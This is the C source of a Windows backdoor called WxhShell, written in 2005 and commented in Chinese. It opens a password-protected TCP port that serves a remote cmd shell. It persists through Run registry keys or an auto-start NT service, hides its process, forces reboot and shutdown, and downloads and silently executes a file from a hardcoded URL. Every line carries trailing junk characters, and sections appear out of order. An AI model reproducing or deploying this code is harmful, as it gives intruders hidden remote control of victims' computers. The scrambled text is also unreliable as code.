    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D:Zy  
    else { X$yN_7|+  
    closesocket(wsh); 3"O>&Q0c  
    ExitThread(0); U4cY_p?  
    } z@wMc EH  
    break; hEw- O;T0  
    } og0*Nt+  
  // 获取shell *W kIq>  
  case 's': { f"St&q>[s  
    CmdShell(wsh); V =-WYu  
    closesocket(wsh); aJcf`<p   
    ExitThread(0); J&T.(  
    break; ca>Z7qT!  
  } 0X^Ke(/89  
  // 退出 ;g~TWy^o  
  case 'x': { #y%!\1M/:A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <A# l 35  
    CloseIt(wsh); KG=h&  
    break; /RMPS. d {  
    } Q_t`.jus  
  // 离开 !tp1:'KG  
  case 'q': { v;0|U:`]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $H-!j%hV  
    closesocket(wsh); (`:O~>[N  
    WSACleanup(); J.8IwN1E  
    exit(1); W16,Alf:  
    break; 4fKC6UR  
        } 5:kH;/U  
  } #b~JDO(  
  } m'f,_ \'  
El@(mOu|  
  // 提示信息 0)m(;>'70  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?`4+cx}n  
} *<J*S#]  
  } kSDZZx  
a AB`G3  
  return; =Jym%m  
} q#8 [  
0q'w8]m  
// shell模块句柄 ObiT-D?)g  
int CmdShell(SOCKET sock) g]c6& Y,#  
{ {\(L%\sV@  
STARTUPINFO si; ]GRWnif  
ZeroMemory(&si,sizeof(si)); 3.qTLga|}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `+uhy ,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nG;8:f`  
PROCESS_INFORMATION ProcessInfo; c.j$9=XLBG  
char cmdline[]="cmd"; FD8N"p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); beu\cV3  
  return 0; }5 (Ho$S(  
} HTyLJe  
B~_d^`  
// 自身启动模式 ~SnSEhE  
int StartFromService(void) 7bV{Q355P  
{ /;utcc  
typedef struct a(0*um(  
{ smry2*g  
  DWORD ExitStatus; iURk=*Z=  
  DWORD PebBaseAddress; Ck!VV2U#  
  DWORD AffinityMask; +*hm-lv?  
  DWORD BasePriority; :Cp'm'omb  
  ULONG UniqueProcessId; /=gOa\k|p  
  ULONG InheritedFromUniqueProcessId; 2^l[(N  
}   PROCESS_BASIC_INFORMATION; =hMY2D  
R<=zCE`:  
PROCNTQSIP NtQueryInformationProcess; ]~E0gsq  
ivW(*c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tz&y*e&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aG 92ay  
afb+GA!  
  HANDLE             hProcess; Q !(pE&  
  PROCESS_BASIC_INFORMATION pbi; (owrdPT!  
|lkNi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `^4vT3e  
  if(NULL == hInst ) return 0; -Q U^c2  
$n^gmhp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NvvUSyk\;s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;asP4R=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q J7L7S  
l!g]a2x*  
  if (!NtQueryInformationProcess) return 0; /)>s##p*  
kVy\b E0o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a@0BBihz  
  if(!hProcess) return 0; 6%VV,$p  
gw}Mw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~mR'Q-hi<  
>z.<u|r2  
  CloseHandle(hProcess); `2PLWo  
Ed ,D8ND  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4M^G`WA}t9  
if(hProcess==NULL) return 0; D7S'*;F  
`8Lo{P  
HMODULE hMod; Z%n(O(^L  
char procName[255]; ZE/o?4k*c1  
unsigned long cbNeeded; )u qA(R>  
F<(i.o(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z%x\~ )~  
]hbyELs  
  CloseHandle(hProcess); ._+J_ts  
-G|G_$9  
if(strstr(procName,"services")) return 1; // 以服务启动 /0eYMG+K=  
rQaxr!  
  return 0; // 注册表启动 W[}s o6  
}  &CG*)bE  
HuV J\%.  
// 主模块 R%c SJ8O#  
int StartWxhshell(LPSTR lpCmdLine) XB_B4X1R  
{ Jzp#bgq}|  
  SOCKET wsl; Nq@+'<@p$  
BOOL val=TRUE; HX6Ma{vBk  
  int port=0; &|`C)6[C  
  struct sockaddr_in door; kGN+rHo   
"&%#!2  
  if(wscfg.ws_autoins) Install(); E]6z8juO6  
'gt-s547  
port=atoi(lpCmdLine); I'@Ydt2  
?K3(D;5 &i  
if(port<=0) port=wscfg.ws_port; Rv/Bh< t  
kWrp1`  
  WSADATA data; e~"fn*"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $]q8, N|1  
Bk+{RN(w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <$hu   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (k|_J42[  
  door.sin_family = AF_INET; ? mhs$g>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M_%B|S {  
  door.sin_port = htons(port); fks)+L'  
bN3#{l-`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vC5n[0  
closesocket(wsl); <~)kwq'  
return 1; jH6&q~#  
} J;prC  
@ G4X  
  if(listen(wsl,2) == INVALID_SOCKET) { ku..aG`  
closesocket(wsl); RTFZPq84  
return 1; T]?n)L,2  
} =dx1/4bZl|  
  Wxhshell(wsl); !XzF67  
  WSACleanup(); > z^#  
HdLH2+|P;D  
return 0; <2nZ&M4/s{  
2 6>ZW4Z  
} U. @*`Fg  
?SC[G-b  
// 以NT服务方式启动 Hp(D);0+)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o^V(U~m]  
{ LB.co4  
DWORD   status = 0; "hQ_sgz[Z  
  DWORD   specificError = 0xfffffff; o'$jNciOW  
yA3wtm/?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8Y#\xzod  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "{D|@Bc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h48SItY  
  serviceStatus.dwWin32ExitCode     = 0; E!O\87[  
  serviceStatus.dwServiceSpecificExitCode = 0; {$1J=JbE  
  serviceStatus.dwCheckPoint       = 0; >G'SbQ8  
  serviceStatus.dwWaitHint       = 0; jU5}\oP@  
7^Yk`Z?|a  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wm+})SOX9  
  if (hServiceStatusHandle==0) return; Rtjqx6-B;  
E[^ {w  
status = GetLastError(); M1%Dg'}G  
  if (status!=NO_ERROR) _A0mxq  
{ 0n/gd"M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; UG<79"\i  
    serviceStatus.dwCheckPoint       = 0;  ]@M5&  
    serviceStatus.dwWaitHint       = 0; /o2P+Xr8"  
    serviceStatus.dwWin32ExitCode     = status; .uEPnzi  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8j4z{+'TQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1c@} C+F+  
    return; >g;kJe  
  } Ia'ZV7'  
)$Z=t-q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wWXD\{Hk  
  serviceStatus.dwCheckPoint       = 0; 2+Wzf)tB  
  serviceStatus.dwWaitHint       = 0; ^Eo=W/   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;zdxs'hJ  
} s-ZI ^I2\  
K2<~(78C  
// 处理NT服务事件,比如:启动、停止 z~\t|Z]G,|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )H}#A#ovj7  
{ SZ_V^UX_  
switch(fdwControl) 1>Q'R  
{ <vUVP\u~$  
case SERVICE_CONTROL_STOP: lW 81q2n  
  serviceStatus.dwWin32ExitCode = 0; P%MfCpyj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3! ~K^Z]  
  serviceStatus.dwCheckPoint   = 0; {W\T"7H  
  serviceStatus.dwWaitHint     = 0; SAY f'[|w  
  { 4R8G&8b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _pH{yhA  
  } T{}fHfM  
  return; +B|7p9qy  
case SERVICE_CONTROL_PAUSE: 28OWNS M=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :5yV.7  
  break; %AW4.3()8  
case SERVICE_CONTROL_CONTINUE: n$:IVX"2b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %5*@l vy  
  break; >5 b/or  
case SERVICE_CONTROL_INTERROGATE: 5IKL#V `3a  
  break; 5#E |R  
}; wJlX4cT4YV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pN&c(=If  
} wl1m*`$  
Yh)Isg|0>  
// 标准应用程序主函数 :L 3&FA   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sFDG)  
{ W~Z<1[  
a83g\c5   
// 获取操作系统版本 Xe+,wW3YF  
OsIsNt=GetOsVer(); LC0d/hM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |*mL1#bB  
Xes|[*Y!V  
  // 从命令行安装 &5t :H 8b  
  if(strpbrk(lpCmdLine,"iI")) Install(); -xD*tf*  
aV1lJ ;0  
  // 下载执行文件 Hk7K`9  
if(wscfg.ws_downexe) { ,pBh`av  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T$= 4O9G  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q7bq  
} pA4*bO+  
]h9!ei [  
if(!OsIsNt) { A*tKF&U5  
// 如果时win9x,隐藏进程并且设置为注册表启动 2ij# H ;  
HideProc(); m%#`y\]I  
StartWxhshell(lpCmdLine); j'p1q  
} +([!A6:  
else 19q{6X`x  
  if(StartFromService()) @InZ<AW>|  
  // 以服务方式启动 !Ss HAE|  
  StartServiceCtrlDispatcher(DispatchTable); OU7 %V)X5  
else y}08~L?2  
  // 普通方式启动 1t9.fEmT  
  StartWxhshell(lpCmdLine); l|V;Ys5f  
FP"$tt(  
return 0; c6Q(Ygc  
} Ejq#~Zhr!  
Ei({`^  
23DJV);g8  
s0hBbL0DH  
=========================================== ;o<m}bGaT  
Tx%VU8\?n  
EN !?:RV  
7L:7/  
6yAA~;*5'  
P6U%=xaC  
" ?nKF6 f  
tK%c@gGU9  
#include <stdio.h> <EO<x D=:  
#include <string.h> ~2_lp^Y  
#include <windows.h> 'PWQnt_U  
#include <winsock2.h> s4T}Bs r  
#include <winsvc.h> =sOo:s  
#include <urlmon.h> &GWkq>  
hF&}lPVtv  
#pragma comment (lib, "Ws2_32.lib") P(omfD4  
#pragma comment (lib, "urlmon.lib") `xKFqx:e  
_2vd`k  
#define MAX_USER   100 // 最大客户端连接数 IJU0[EA]F  
#define BUF_SOCK   200 // sock buffer 5c -N0@\  
#define KEY_BUFF   255 // 输入 buffer .>6 Wv0  
Z$KV&.=+  
#define REBOOT     0   // 重启 @\Js8[wS9@  
#define SHUTDOWN   1   // 关机 +K6szGP  
#NRh\Wj|  
#define DEF_PORT   5000 // 监听端口 \.s`n2.w  
,R wfp=*E  
#define REG_LEN     16   // 注册表键长度 gmSQcN)  
#define SVC_LEN     80   // NT服务名长度 0NO1M)HQv  
RM*f|j  
// 从dll定义API 0&fl#]oCE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /owO@~G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PQj<[rY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :wgfW .w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -g`IH-B  
J^3H7 ]  
// wxhshell配置信息 vH?9\3  
struct WSCFG { CP` XUpX`&  
  int ws_port;         // 监听端口 (xyS7q]m  
  char ws_passstr[REG_LEN]; // 口令 M2T|"Q"=  
  int ws_autoins;       // 安装标记, 1=yes 0=no [B6DC`M  
  char ws_regname[REG_LEN]; // 注册表键名 qs=tJ ^<<o  
  char ws_svcname[REG_LEN]; // 服务名 (B`sQw@tu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @%W]".*'}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P -Fg^tl  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &:#m&,tQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .]76!(fWZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H}b\`N[nr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -fIc4u[  
w}<^l  
}; NW.XA! =E)  
CB*/ =Y  
// default Wxhshell configuration hG Apuy  
struct WSCFG wscfg={DEF_PORT, M$&>5n7  
    "xuhuanlingzhe", KAb(NZK  
    1, ,{<p  
    "Wxhshell", kR6A3?[  
    "Wxhshell", x0Bw{>Q  
            "WxhShell Service", Q_}/ Pn$1  
    "Wrsky Windows CmdShell Service", L0&S0HG   
    "Please Input Your Password: ", M#0 @X  
  1, YU\Gj S~>&  
  "http://www.wrsky.com/wxhshell.exe", n,KA&)/s  
  "Wxhshell.exe" HZ\k-!2  
    }; ')nnWlK  
eoJ]4-WFq  
// 消息定义模块 %D^bah f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; En5!"w|j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .[f;(WR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #AncOo  
char *msg_ws_ext="\n\rExit."; 7c::Qf[|  
char *msg_ws_end="\n\rQuit."; RG? MRxC  
char *msg_ws_boot="\n\rReboot..."; aIu2>  
char *msg_ws_poff="\n\rShutdown..."; B| Q6!  
char *msg_ws_down="\n\rSave to "; %N{sD[^  
z~.9@[LG]  
char *msg_ws_err="\n\rErr!"; k!13=Gh  
char *msg_ws_ok="\n\rOK!"; v*L '{3f  
$- w5o`e  
char ExeFile[MAX_PATH]; #`j][F@N  
int nUser = 0; ^/{4'\p  
HANDLE handles[MAX_USER]; dzxI QlP  
int OsIsNt; VR v02m5  
yqBa_XPV8  
SERVICE_STATUS       serviceStatus; %O/d4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0UD"^zgY  
S.]MOB dt  
// 函数声明 LR\zy8y]  
int Install(void); :A*0]X;  
int Uninstall(void); 6EP~F8Kd  
int DownloadFile(char *sURL, SOCKET wsh); +:y&{K  
int Boot(int flag); qvTJ>FILT  
void HideProc(void); 9}XT'+`y  
int GetOsVer(void); O0zi@2m?B  
int Wxhshell(SOCKET wsl);  V IYV92[  
void TalkWithClient(void *cs); ux&:Rw\  
int CmdShell(SOCKET sock); ) MBS  
int StartFromService(void); "VQ|E d  
int StartWxhshell(LPSTR lpCmdLine); MHNe>C-!q  
gA:[3J,[;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CK Mv7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z^+a*^w~{  
D1! {S7  
// 数据结构和表定义 CKN8z  
SERVICE_TABLE_ENTRY DispatchTable[] = z'e1"Y.  
{ S[.5n]  
{wscfg.ws_svcname, NTServiceMain}, i^/Di Wdyf  
{NULL, NULL} UU"d_~pp  
}; H8<m9zDvl  
XqX I(q^  
// 自我安装 ,0.|P`|w  
int Install(void) iBS0rT_  
{ wmiafBA e  
  char svExeFile[MAX_PATH]; >&[3  
  HKEY key; >eu `!8  
  strcpy(svExeFile,ExeFile); o6/Rx#A  
G ;jF9i  
// 如果是win9x系统,修改注册表设为自启动 tNYJQ  
if(!OsIsNt) { F;X"3F.!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7Qt2gf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?{n>EvLY  
  RegCloseKey(key); QWKs[yfdo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (}6wAfGo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jJ*=Ghu-  
  RegCloseKey(key); phe"JNML  
  return 0; Ys)+9yPPn  
    } *|@+rbjVC  
  } \!m!ibr  
} $}V7(wu 6@  
else { I>d I[U  
hzW{_Q.|?  
// 如果是NT以上系统,安装为系统服务 HqB|SWyK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HKM~BL "X  
if (schSCManager!=0) HUK" OH  
{ dEL3?-;'  
  SC_HANDLE schService = CreateService ~@[(U!G  
  ( R&]c"cO L8  
  schSCManager, U2VV[e)Z!  
  wscfg.ws_svcname, (21']x  
  wscfg.ws_svcdisp, ~v^%ze  
  SERVICE_ALL_ACCESS, =rtS#u Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U8EJC .e&O  
  SERVICE_AUTO_START, C{DlcZ<  
  SERVICE_ERROR_NORMAL, 9e0C3+)CY  
  svExeFile, .@fK;/OuC  
  NULL, Nvi Fq  
  NULL, kboizJp  
  NULL, <>SR4  
  NULL, Zlr{L]c  
  NULL Sb'N];  
  ); ULV)0SB  
  if (schService!=0) G`9cd\^  
  { Cc@=?  
  CloseServiceHandle(schService); ]d[Rf$>vu0  
  CloseServiceHandle(schSCManager); ^).WW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (s5<  
  strcat(svExeFile,wscfg.ws_svcname); >6*(}L9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  Y>xi|TWN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nXv 7OEpTx  
  RegCloseKey(key); I93 ~8wQ  
  return 0; ,}eRnl\  
    } -08&&H  
  } J'I1,5(  
  CloseServiceHandle(schSCManager); cBg,k[,  
} fui4@  
} 'bZMh9|  
YtV |e|aD  
return 1; ERUs0na]  
} Y1#-^,qg  
oq=?i%'>  
// 自我卸载 D?iy.Dg  
int Uninstall(void) FE0qw1{qQ  
{ fBHkLRFH  
  HKEY key; _fVh%_oH1  
 R4&|t  
if(!OsIsNt) { +A]&AkTw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3~cS}N T  
  RegDeleteValue(key,wscfg.ws_regname); ?2J S&i  
  RegCloseKey(key); zAKq7'_=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3X88x-3  
  RegDeleteValue(key,wscfg.ws_regname); v< 65(I>  
  RegCloseKey(key); }9L 40)8  
  return 0; E9L!O.Q  
  } WE+sFaKq-  
} 2(+RIu0d  
} m1^dT_7Z  
else { &(5^v w<0  
t!J";l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Uq9,(tV`6g  
if (schSCManager!=0) wQF&GGY R  
{ <7vIh0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ",MK'\E  
  if (schService!=0)  aX>4Tw  
  { ?)A]q' O  
  if(DeleteService(schService)!=0) { x:f|3"\s  
  CloseServiceHandle(schService); O vyB<r  
  CloseServiceHandle(schSCManager); H B::0l<  
  return 0; sDzD 8as  
  } W _PM!>8`  
  CloseServiceHandle(schService); _4~ng#M*  
  } m NUN6qVP~  
  CloseServiceHandle(schSCManager); LU-#=1Q  
} k7z(Gbzu   
} lU&`r:1>_  
"@c';".|  
return 1; gt2>nTJz.Z  
} eEZ|nEU  
K B`1%=  
// 从指定url下载文件 (&9DB   
int DownloadFile(char *sURL, SOCKET wsh) #U ",,*2  
{ <6d{k[7fz)  
  HRESULT hr; +XU$GSw3(  
char seps[]= "/"; xWC\954  
char *token; 1jZDw~  
char *file; TS\A`{^T  
char myURL[MAX_PATH]; *3w/`R<\  
char myFILE[MAX_PATH]; z/eU^2V  
FT|/ WZR  
strcpy(myURL,sURL); 9,iq"dQ  
  token=strtok(myURL,seps); sx;V,"Y  
  while(token!=NULL) vWnHC  
  { vOvxQS}dBp  
    file=token; tj"v0u?zW  
  token=strtok(NULL,seps); H#1*'e>  
  } Ux%\Y.PPI  
^'C,WZt  
GetCurrentDirectory(MAX_PATH,myFILE); o+if%3  
strcat(myFILE, "\\"); 4e(9@OLP  
strcat(myFILE, file); ;qMnO_ E  
  send(wsh,myFILE,strlen(myFILE),0); eI/\I:G{f  
send(wsh,"...",3,0); Rk437vQD,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2;Y@3d:z  
  if(hr==S_OK) [B2>*UPl  
return 0; Hnd9T(UB  
else )|{1&F1  
return 1; UtW"U0A  
c{]r{FAx9o  
} &9RW9u "  
e-Ybac%  
// 系统电源模块 6g~o3  
int Boot(int flag) i-i}`oN  
{  MrKU,-  
  HANDLE hToken; |mQtjo  
  TOKEN_PRIVILEGES tkp; )"pxry4v7J  
ery?G-  
  if(OsIsNt) { ZZ]OR;8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @MlU!oR&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <WHs  
    tkp.PrivilegeCount = 1; "a0u-}/D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~kSnXJv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V(' 'p{  
if(flag==REBOOT) { ig.6[5a\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .^)C:XiW  
  return 0; LAK-!!0X  
} @??c<]9F  
else { }0Kqy;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U'h[ {ek  
  return 0; )L(d$N=Bd  
} 'n>3`1E,  
  } J1c&"Oh  
  else { {P<BJ52=  
if(flag==REBOOT) { V\rIN}7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `:bvuc(  
  return 0; ~ ];6hxv  
} Q#J>vwi=  
else { "j.oR}s9?#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z2s|.M]&-D  
  return 0; <mo^Y k3  
} H(%] Os  
} _ \v@9Q\  
y-)+I<M  
return 1; a' >$88tl  
} +EiUAs~H  
-}N\REXE  
// win9x进程隐藏模块 }TX'Z?Lq  
void HideProc(void) D|Ihe%w-  
{ <R`,zE@t'(  
P/gb+V=g!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y_7XYT!w  
  if ( hKernel != NULL ) \\R*V'e!  
  { 0oi5]f6g?8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \@PUljU]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v_@#hf3  
    FreeLibrary(hKernel); 3R:7bex  
  } QqFfR#  
xV n]m9i  
return; !s[j1=y  
} 6(<~1{ X%  
]=86[A-2N  
// 获取操作系统版本 UTK.tg  
int GetOsVer(void) ;qVEI/  
{ >;'1k'  
  OSVERSIONINFO winfo; ;@ll  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m)[wZP*e  
  GetVersionEx(&winfo); h@>rjeY@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G5QgnxwP2  
  return 1; /nMqEHCyg  
  else Vm1c-,)3  
  return 0; Xv5Ev@T  
} Y(I*%=:$  
|H+k?C-w  
// 客户端句柄模块 3]kAb`9[K2  
int Wxhshell(SOCKET wsl) 0JZq:hUd  
{ W-]yKSob  
  SOCKET wsh; |E_+*1lq.  
  struct sockaddr_in client; r/q1&*T  
  DWORD myID; T`'3Cp$q  
d$?n6|4  
  while(nUser<MAX_USER) ,f /IG.  
{ [vjkU7;7A  
  int nSize=sizeof(client); >gi{x|/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  ]O9f"cj  
  if(wsh==INVALID_SOCKET) return 1; Uwm[q+sTp  
sm&rR=b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JmJ,~_  
if(handles[nUser]==0) B=Jd%Av  
  closesocket(wsh); 0.Ol@fO  
else =<FZ{4  
  nUser++; 3d)+44G_)  
  } {R{%Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); : .w'gU_  
VzYP:QRz  
  return 0; 4;c_%=cU  
} S5pP"&I[  
u, SX`6%  
// 关闭 socket yA>p[F  
void CloseIt(SOCKET wsh) = cI\OsV&?  
{ n,Mw# r?y  
closesocket(wsh); @%@^5  
nUser--; %{VI-CQ  
ExitThread(0); %"KWjwp  
} l-h7ksRs  
"RJk7]p`*  
// 客户端请求句柄 TcKKI  
void TalkWithClient(void *cs) 7E6?)bgh  
{ 2,e|,N"zN  
|xgCV@  
  SOCKET wsh=(SOCKET)cs; 8H`l"  
  char pwd[SVC_LEN]; j&G~;(DY  
  char cmd[KEY_BUFF]; l;VGJMPi  
char chr[1]; (b 2^d  
int i,j; pu)9"Ad[ G  
BK\~I  
  while (nUser < MAX_USER) { "$"mWF-  
<$3nD b-  
if(wscfg.ws_passstr) { . ;@) 5"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U#1yl6e\I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &lfF!   
  //ZeroMemory(pwd,KEY_BUFF); Pymh^i  
      i=0; k#r7&Y  
  while(i<SVC_LEN) { >93{=+  
4!s k3Cw{  
  // 设置超时 e"H+sM26-  
  fd_set FdRead; {)[g  
  struct timeval TimeOut; |b;M5w?  
  FD_ZERO(&FdRead); 6C51:XQO  
  FD_SET(wsh,&FdRead); oD}FJvV  
  TimeOut.tv_sec=8; WT {Cjn  
  TimeOut.tv_usec=0; Vq7 kA "  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "yq;{AGOGl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \w_[tPz}  
>E,L"&_j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Uus)2R7  
  pwd=chr[0]; %Kfa|&'zV  
  if(chr[0]==0xd || chr[0]==0xa) { _C8LK.M#j  
  pwd=0; <fxjj  
  break; J&Qy$itqg  
  } {}C7VS1  
  i++; -Jrc'e4K  
    } 1:s~ ]F@  
;Wh[q*A  
  // 如果是非法用户,关闭 socket [^=8k2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `IRT w"  
} ^t%M   
i@j ?<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <:7e4#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;3}b&Z[N]  
d@4=XSj  
while(1) { Fl>j5[kLZ  
,F9wc<V8  
  ZeroMemory(cmd,KEY_BUFF); 4wD^?S!p  
Q)X\VQcgj  
      // 自动支持客户端 telnet标准   &J@ZF<Ib  
  j=0; yWk:u 5  
  while(j<KEY_BUFF) { C)^\?DH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vCo}-b-j  
  cmd[j]=chr[0]; W",jZ"7  
  if(chr[0]==0xa || chr[0]==0xd) { >Ez}r(QQ^  
  cmd[j]=0; daJ-H  
  break; so&3A&4cL  
  } (qONeLf%  
  j++; os ud  
    } i1&noRGl  
I}0 -  
  // 下载文件 I,?LZ_pK  
  if(strstr(cmd,"http://")) { Ip\g ^ia  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); EMH}VigR  
  if(DownloadFile(cmd,wsh)) G%/cV?18  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pnb$lpxt  
  else H$iMP.AK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )tg*dE  
  } +mPB?5  
  else { $4) g uG)  
m,fr?d/;  
    switch(cmd[0]) { Qnc S&  
  au~gJW-  
  // 帮助 >(Ddw N9l  
  case '?': { 1@@]h!>k:  
